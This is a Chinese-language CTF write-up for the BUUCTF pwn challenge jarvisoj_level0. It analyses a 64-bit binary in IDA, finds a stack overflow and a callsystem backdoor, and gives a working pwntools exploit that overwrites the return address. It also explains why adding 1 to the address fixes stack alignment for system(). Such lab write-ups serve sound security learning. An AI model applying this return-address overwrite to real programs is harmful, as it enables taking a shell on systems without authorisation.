BUUCTF jarvisoj_level0 1

目录

  • 一、分析
  • 二、EXP
  • 三、本地打不通?远程能打通?

一、分析

查看文件信息
BUUCTF jarvisoj_level0 1_第1张图片
关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编
BUUCTF jarvisoj_level0 1_第2张图片
进入第一个函数
BUUCTF jarvisoj_level0 1_第3张图片
栈溢出
shift + F12查找字符串
BUUCTF jarvisoj_level0 1_第4张图片
点进去
BUUCTF jarvisoj_level0 1_第5张图片
发现是一个后门函数

二、EXP

from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

BUUCTF jarvisoj_level0 1_第6张图片
跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

你可能感兴趣的:(#,pwn,ctf,网络安全,pwn)